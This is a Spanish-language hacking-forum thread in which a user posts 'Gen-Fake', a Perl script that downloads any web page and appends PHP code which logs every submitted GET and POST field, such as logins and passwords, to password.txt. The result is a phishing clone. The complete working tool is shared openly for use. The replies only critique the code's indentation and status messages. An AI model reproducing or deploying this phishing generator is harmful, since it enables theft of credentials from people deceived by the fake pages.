Comunidad Underground Hispana  

Retroceder   Comunidad Underground Hispana > Programacion > Scripts: Python, Perl y Otros > Perl


Respuesta Crear Nuevo Tema
 
Compartir en twitter LinkBack Herramientas Desplegado
Antiguo 15-sep-2010, 18:02   #1
Yes! I am invincible!
 
Avatar de Doddy
 
Fecha de Ingreso: febrero-2009
Ubicación: Infierno
Amigos 31
Mensajes: 2.683
Gracias: 0
Agradecido 235 veces en 171 mensajes.
Predeterminado [Perl] Gen-Fake By Doddy Hackman

Hola.......


Nuevamente con otro programa esta vez un generador de fakes , francamente no uso mucho esto
pero fue solo para hacer algo , eso si, si alguien quiere hacer una correccion para la mejora
del programa ,pues no me opongo xDDD.

Sintasis

perl gen-fake.pl

[Solo usuarios registrados pueden ver los links. REGISTRARSE]

C:/fake.php


Los password del fake generado se guardan en el archivo "password.txt".



Código:
#!usr/bin/perl
#Gen Fake
#(C) Doddy Hackman 2010

use LWP::UserAgent;
use HTTP::Request::Common;

my $nave = LWP::UserAgent->new();
$nave->timeout(13);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");

if ($^O =~/Win32/ig) { system("cls"); } else { system("clear"); }

&head;

unless($ARGV[0] and $ARGV[1]) {
print "\n\n[+] Modo de uso = $0 <page to fake> <name of the file php fake>\n\n";
} else {
&fake($ARGV[0],$ARGV[1]);
}
&copyright;



sub fake {
print "[Original Page] : $_[0]\n";
print "[Fake] : $_[1]\n\n";
print "[+] Extracting source code of the original page...\n";
print "[+] Creating the fake\n";
$code = toma($_[0]);
open (FAKE,">".$_[1]);
print FAKE $code."\n";
print FAKE '
<?php
$handle = fopen("password.txt","a");
foreach($_GET as $variable=>$value) {
fwrite($handle,$variable);
fwrite($handle,"=");
fwrite($handle,$value);
}
foreach($_POST as $variable=>$value) {
fwrite($handle,$variable);
fwrite($handle,"=");
fwrite($handle,$value);
}
fwrite($handle,"\r\n");
fclose($handle);
?>
';
print "[+] Work Finish\n";
print "[+] Test the fake $_[1]\n\n";
}

sub head {
print "\n\n--== Gen Fake ==--\n\n";
}

sub copyright {
print "\n\n(C) Doddy Hackman 2010\n\n";
exit(1);
}

sub toma {
return $nave->request (GET $_[0])->content;
}

#The End
  
__________________
Doddy está desconectado   Responder Citando
Antiguo 15-sep-2010, 18:40   #2
Moderador
 
Avatar de ajr784
 
Fecha de Ingreso: marzo-2007
Amigos 5
Mensajes: 1.755
Gracias: 32
Agradecido 366 veces en 317 mensajes.
Predeterminado

Un par de ideas (tómalas o déjalas, está en vos):
* Identa, aprende a identar el código... el código Perl de por si es sucio, pero la identación ayuda a la lectura. Un buen programador Perl hace código sucio, pero aún así identa su código, la suciedad de código Perl proviene de hacer cosas de varias líneas en una sóla.

* Imprime cosas para mostrar realmente lo que estás haciendo, nunca lo que vayas a hacer, ya que de ésta forma estás suponiendo que si o si el proceso anterior fue correcto (cuando puede no serlo) y algo peor, le estás diciendo al usuario del otro lado que hiciste algo que todavía no hiciste. Lo vi claro en éste par de líneas:
Código:
print "[Original Page] : $_[0]\n";
print "[Fake] : $_[1]\n\n";
print "[+] Extracting source code of the original page...\n";
print "[+] Creating the fake\n";
$code = toma($_[0]);
open (FAKE,">".$_[1]);
# Por su pollo que por acá abajo sigue.
  
Tu estás diciendo que estás extrayendo el código, cuando en realidad todavía no!, y luego dices que estás generando el fake (cuando en realidad estás empezando a pedir el código), algo para solucionarlo sería:
Código:
print "[Original Page] : $_[0]\n";
print "[Fake] : $_[1]\n\n";
###
# Acá extraigo el código de la página...
print "[+] Extracting source code of the original page...\n";
$code = toma($_[0]);

##
# Comienzo a generar el fake...
print "[+] Creating the fake\n";
open (FAKE,">".$_[1]);
  
Otro problema que puede devenir de ésto, es que puedes darla la sensación al usuario, de que tu código está trabado en un lugar, cuando en realidad está trabado en otro:
Código:
[+] Extracting source code of the original page...
[+] Creating the fake
  
Tu recibes eso por pantalla, pero ¿dónde está trabado? ¿en la descarga de la página o en la generación del fake?
__________________
Cita:
Yo soy del mundo, mundo de los locos. Está de moda y están todos como locos
-- Veneno - Tan Bionica --
ajr784 está desconectado   Responder Citando
Antiguo 15-sep-2010, 19:20   #3
Yes! I am invincible!
 
Avatar de Doddy
 
Fecha de Ingreso: febrero-2009
Ubicación: Infierno
Amigos 31
Mensajes: 2.683
Gracias: 0
Agradecido 235 veces en 171 mensajes.
Predeterminado

Gracias por tu consejos ,este codigo lo hice en 10 minutos xDDD
Otra cosa no pienso cumplir el punto 1 y lo sabes porque este mi estilo y no lo voy a cambiar ajaja

Tomando nota para su version 0.1
__________________
Doddy está desconectado   Responder Citando
Respuesta

Herramientas
Desplegado

Normas de Publicación
No puedes crear nuevos temas
No puedes responder mensajes
No puedes subir archivos adjuntos
No puedes editar tus mensajes

Los Códigos BB están Activado
Las Caritas están Activado
[IMG] está Activado
El Código HTML está Desactivado
Trackbacks están Activado
Pingbacks están Activado
Refbacks están Activado



Temas Similares
Tema Autor Foro Respuestas Último mensaje
[Perl] Gen VII By Doddy Hackman Doddy Perl 4 15-sep-2010 19:22
[Perl] XSS Generator By Doddy Hackman Doddy Perl 0 10-sep-2010 12:39
[Perl] Panel Control By Doddy Hackman Doddy Perl 0 09-sep-2010 16:06
[Perl] Shell Up By Doddy Hackman Doddy Perl 0 09-sep-2010 16:06
[Perl] Massive Cracker By Doddy Hackman Doddy Perl 8 07-ago-2010 03:27



Portal Hacker
Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2014, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.6.0